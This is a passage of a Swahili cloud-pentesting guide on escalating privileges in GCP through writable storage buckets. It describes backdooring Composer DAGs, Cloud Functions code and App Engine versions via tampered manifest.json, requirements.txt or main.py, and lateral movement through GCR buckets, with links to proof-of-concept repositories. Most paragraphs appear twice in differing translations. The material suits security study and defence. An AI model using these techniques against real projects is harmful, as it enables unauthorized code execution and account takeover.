- Inakimbia ndani ya **GKE cluster**, hivyo **SA ambayo cluster inatumia inapatikana** kwa code inayokimbia ndani ya Composer
- Vifaa vyote vya environment za composer (**code of DAGs**, plugins na data) vinahifadhiwa ndani ya bucket ya GCP. Ikiwa mshambuliaji ana idhini za kusoma na kuandika juu yake, anaweza kufuatilia bucket na **kila wakati DAG inapotengenezwa au kusasishwa, akatuma toleo lenye backdoor** ili environment ya composer ipate kutoka storage toleo lenye backdoor.
Unaweza kupata PoC ya shambulio hili kwenye repo: [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
Unaweza kupata PoC ya shambulio hili katika repo: [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Code za Cloud Functions zimehifadhiwa kwenye Storage na kila toleo jipya linapotengenezwa code inasukumwa kwenye bucket kisha container mpya inajengwa kutoka kwa code hiyo. Kwa hiyo, kwa **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
- Code za Cloud Functions zinalindwa ndani ya Storage na kila wakati toleo jipya linapotengenezwa code inasukumwa kwenye bucket kisha container mpya inajengwa kutoka kwa code hiyo. Kwa hiyo, **kufuta au kubadilisha code kabla toleo jipya halijajengwa kunawezekana kufanya cloud function itekeleze arbitrary code**.
Unaweza kupata PoC ya shambulio hili kwenye repo: [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
Unaweza kupata PoC ya shambulio hili katika repo: [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
Versions za AppEngine zinazalisha data ndani ya bucket yenye jina: `staging.<project-id>.appspot.com`. Ndani ya bucket hii, inawezekana kupata folda inayoitwa `ae` ambayo itakuwa na folda kwa kila toleo la AppEngine app na ndani ya folda hizi kutakuwa na faili `manifest.json`. Faili hii ina json yenye orodha ya faili zote ambazo zinapaswa kutumika kuunda toleo maalum. Zaidi ya hayo, inawezekana kupata **majina halisi ya faili, URL zao ndani ya GCP bucket (faili ndani ya bucket zimebadilishwa jina lao kwa sha1 hash) na sha1 hash ya kila faili.**
Matoleo ya AppEngine yanazalisha data ndani ya bucket yenye muundo wa jina: `staging.<project-id>.appspot.com`. Ndani ya bucket hii, inawezekana kupata folda inayoitwa `ae` ambayo itaenda kuwa na folda kwa kila toleo la AppEngine app na ndani ya folda hizi utapata faili `manifest.json`. Faili hii ina json yenye orodha ya faili zote ambazo zinahitajika kutumiwa kuunda toleo husika. Zaidi ya hayo, inawezekana kupata **majina halisi ya faili, URL yao ndani ya GCP bucket (faili ndani ya bucket zilibadilishwa jina kwa sha1 hash) na sha1 hash ya kila faili.**
_Note kwamba haiwezekani kufanya pre-takeover ya bucket hii kwa sababu watumiaji wa GCP hawaruhusiwi kuunda buckets kutumia domain name appspot.com._
_Nota kuwa haiwezekani kuchukua bucket hii kabla kwa sababu watumiaji wa GCP hawaruhusiwi kuunda buckets kwa kutumia domain appspot.com._
Hata hivyo, kwa read & write access juu ya bucket hii, inawezekana kufanya escalation ya idhini hadi kwa SA iliyounganishwa na version ya App Engine kwa monitoring bucket na kila wakati mabadiliko yanapofanyika (toleo jipya), kubadilisha toleo jipya haraka iwezekanavyo. Kwa njia hii, container inayojengwa kutoka kwa code hii itaendesha code ya backdoored.
Hata hivyo, kwa ufikiaji wa kusoma na kuandika kwenye bucket hii, inawezekana kuongezeka kwa ruhusa hadi SA iliyounganishwa na toleo la App Engine kwa kufuatilia bucket na kila wakati mabadiliko yanapotendeka (toleo jipya), kubadilisha toleo jipya haraka iwezekanavyo. Kwa njia hii, container inayoundwa kutoka kwa code hii itatekeleza code yenye backdoor.
Shambulio lililotajwa linaweza kufanywa kwa njia nyingi tofauti, zote zinaanza kwa ku-monitor `staging.<project-id>.appspot.com` bucket:
Shambulio lililotajwa linaweza kufanywa kwa njia nyingi tofauti, zote zinaanzia kwa kufuatilia bucket `staging.<project-id>.appspot.com`:
- Upload code kamili mpya ya toleo la AppEngine kwenye bucket tofauti na inayoonekana, na andaa **`manifest.json` file with the new bucket name and sha1 hashes of them**. Kisha, wakati toleo jipya linapotengenezwa ndani ya bucket, unahitaji tu kubadilisha faili ya `manifest.json` na upload toleo la malicious.
- Upload toleo lililobadilishwa la `requirements.txt` ambalo litatumia code ya **malicious dependencies** na update `manifest.json` file na jina jipya la faili, URL na hash yake.
- Upload **modified `main.py` or `app.yaml` file that will execute the malicious code** na update `manifest.json` file na jina jipya la faili, URL na hash yake.
- Pakia code mpya kamili ya toleo la AppEngine kwenye bucket nyingine iliyopo na inayopatikana na uandae faili ya **`manifest.json` na jina la bucket mpya na sha1 hashes yake**. Kisha, wakati toleo jipya linapotengenezwa ndani ya bucket, unachohitaji ni kubadilisha faili ya `manifest.json` na kupakia ile yenye madhara.
- Pakia toleo lililosahihishwa la `requirements.txt` litakalo tumia code ya dependencies yenye madhara na sasisha `manifest.json` na jina jipya la faili, URL na hash yake.
- Pakia **`main.py` au `app.yaml` iliyorekebishwa ambayo itatekeleza code yenye madhara** na sasisha `manifest.json` na jina jipya la faili, URL na hash yake.
Unaweza kupata PoC ya shambulio hili kwenye repo: [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
Unaweza kupata PoC ya shambulio hili katika repo: [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** inahifadhi images ndani ya buckets; ikiwa unaweza **write those buckets** unaweza kuwa na uwezo wa **move laterally to where those buckets are being run.**
- Bucket inayotumika na GCR itakuwa na URL inayofanana na `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
- **Google Container Registry** inahifadhi images ndani ya buckets, ikiwa unaweza **kuandika kwenye buckets hizo** unaweza kuwa na uwezo wa **kutembea kwa lateral hadi maeneo ambapo buckets hizo zinakimbizwa.**
- Bucket inayotumika na GCR itakuwa na URL inayofanana na `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Subdomains za juu zinabainishwa [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> Huduma hii imepitwa na wakati hivyo shambulio hili sio muhimu tena. Zaidi ya hayo, Artifact Registry, huduma inayobadilisha hii, haisihifadhi images kwenye buckets.
> Huduma hii imepitwa na wakati hivyo shambulio hili halitumiki tena. Zaidi ya hayo, Artifact Registry, huduma inayobadilisha hii, haisihifadhi images ndani ya buckets.
## **Marejeo**
## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)